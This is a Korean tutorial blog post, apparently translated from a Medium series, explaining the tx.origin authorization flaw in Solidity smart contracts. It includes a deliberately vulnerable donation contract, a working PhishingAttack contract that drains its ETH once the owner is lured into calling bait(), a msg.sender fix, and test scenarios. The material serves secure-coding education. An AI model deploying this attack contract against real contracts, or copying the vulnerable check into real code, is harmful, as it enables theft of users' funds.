Phishing With Improper Authorization


https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization-232dacf307e3

번역 및 내용을 추가하여 작성하였습니다.

다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.

  • Solidity
  • Typescript
  • Truffle ,Hardhat, Ethers.js, Web3.js
  • Test Script 작성 능력

부적절한 권한 부여는 Solidity - Smart Contract의 작동 방식에 대한 이해 부족으로 인해 발생하는 경우가 많으며, 이로 인해 Contract가 악용될 수 있습니다. 이 글에서는 부적절한 권한 부여가 있는 Smart Contract가 어떻게 피싱 될 수 있는지, 그리고 이를 방지하는 방법을 설명합니다.

The Vulnerability

아래 코드는 후원자가 buyMeACoffee() 함수를 호출하여 Contract Owner에게 ETH를 기부할 수 있는 “InsecureDontation” Contract를 보여줍니다.

Contract Owner는 collectEthers() 함수를 통해 기부된 ETH를 모을 수 있습니다. 그리고 getBalance() 를 통해 ETH를 확인할 수 있습니다.

pragma solidity 0.8.17;

contract InsecureDonation {
    address public immutable owner;

    constructor() {
        owner = msg.sender;
    }

    function buyMeACoffee() external payable {
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function collectEthers(address payable _to, uint256 _amount) external {
        require(tx.origin == owner, "Not owner");

        (bool success, ) = _to.call{value: _amount}("");
        require(success, "Failed to send Ether");
    }
}
  • “InsecureDonation” Contract는 collectEthers() 함수의 18번째 줄에서 부적절한 권한 부여 문제를 겪었습니다.
  • 트랜잭션 호출자가 Contract Owner인지 여부를 인증하기 위해 require(tx.origin == owner, “Not owner”); 문이 사용됩니다.
    즉, 트랜잭션 호출자는 자신이 Contract Owner인지 확인을 통과하게됩니다. 그런 다음 필요에 따라 ETH를 출금할 수 있습니다.
  • 그러나 tx.origin 매개변수를 사용하여 트랜잭션 발신자를 인증하는 것은 피싱 공격에 취약하여 공격자가 “InsecureDonation” Contract에 잠겨있는 모든 ETH를 훔칠 수 있습니다.

공격자는 “PhishingAttack” Contract를 배포하고 대상 Contract Owner를 미끼로 설득력있는 캠페인을 만듭니다.(3단계)

캠페인이 Contract Owner를 함정에 따뜨리면 Owner는 의심하지 않고 “PhishingAttack” Contract의 bait() 함수를 실행하게됩니다.(4단계)

그런 다음 bait() 함수는 “InsecureDonation” Contract의 collectEthers() 함수를 호출하여 잠긴 ETH를 훔치기 시작합니다.(5단계)

collectEthers() 함수는 “tx.origin” 매개변수를 사용하여 Contract Owner를 다른 Owner와 구별하므로, 트랜잭션의 발신자가 합벅적인 Contract Owner이기 때문에 인증 검사가 우회됩니다.(4단계 부터) 결과적으로 공격자는 잠긴 ETH를 모두 훔칠 수 있습니다(6단계)

The Attack

공격 시나리오

아래 코드는 공격자가 설득력 있는 캠페인과 함께 이 Contract를 사용하여 “InsecureDonation” Contract에 잠겨있는 모든 ETH를 훔칠 수 있는 피싱 공격 Contract를 보여줍니다.

pragma solidity 0.8.17;

interface IDonation {
    function collectEthers(address payable _to, uint256 _amount) external;
}

contract PhishingAttack {
    IDonation public immutable donationContract;

    constructor(IDonation _donationContract) {
        donationContract = _donationContract;
    }

    receive() external payable {}

    function bait() external {
        donationContract.collectEthers(
            payable(address(this)), 
            address(donationContract).balance
        );
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

InsecureDonation을 악용하려면 공격자는 대상 Contract Owner를 속여 bait() 를 호출해야합니다.

The Solutions

pragma solidity 0.8.17;

contract FixedDonation {
    address public immutable owner;

    constructor() {
        owner = msg.sender;
    }

    function buyMeACoffee() external payable {
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function collectEthers(address payable _to, uint256 _amount) external {
        require(msg.sender == owner, "Not owner");  // FIX: Use msg.sender instead of tx.origin

        (bool success, ) = _to.call{value: _amount}("");
        require(success, "Failed to send Ether");
    }
}
  • 관련 문제를 해결하기 위해 Owner 인증 시 tx.origin 대신 msg.sender를 사용합니다.
  • require(msg.sender == owner, “Not owner”) 문을 사용하면 collectEthers() 함수는 트랜잭션 발신자 대신 함수 호출자를 인증합니다.
    • 트랜잭션 발신자: 트랜잭션을 처음 만든 EOA, CA의 주소
    • 함수 호출자: 해당 함수를 호출한 EOA, CA 주소

Test


Source code link

InsecureDonation Contract

테스트 시나리오

  • Constructor
    • Contract의 Owner의 주소를 확인할 수 있다.
  • Transaction
    • Contract가 가지고 있는 ETH의 양을 확인할 수 있다.
    • Contract에 ETH를 기부할 수 있다.
    • Owner는 ETH를 수집할 수 있다.
    • Owner가 아니면 ETH를 수집할 수 없다.

FixedDonation Contract

테스트 시나리오

  • Constructor
    • Contract의 Owner의 주소를 확인할 수 있다. (901ms)
  • Transaction
    • Contract가 가지고 있는 ETH의 양을 확인할 수 있다
    • Contract에 ETH를 기부할 수 있다.
    • Owner는 ETH를 수집할 수 있다.
    • Owner가 아니면 ETH를 수집할 수 없다.

PhishingAttack Contract

테스트 시나리오

  • Constructor
    • 초기 배포 시 InsecureDonation 컨트랙트의 주소를 받는다.
  • 공격
    • user가 InsecureDonation 컨트랙트에 10이더를 기부할 수 있다.
    • PhishingAttack 컨트랙트의 초기 자금은 0이다.
    • InsecureDonation에 있는 ETH를 모두 가져올 수 있다.
  • 공격 실패
    • FixedDonation 컨트랙트에 10이더를 기부할 수 있다.

Test Code Coverage


profile
좋은 개발자가 되고싶은

0개의 댓글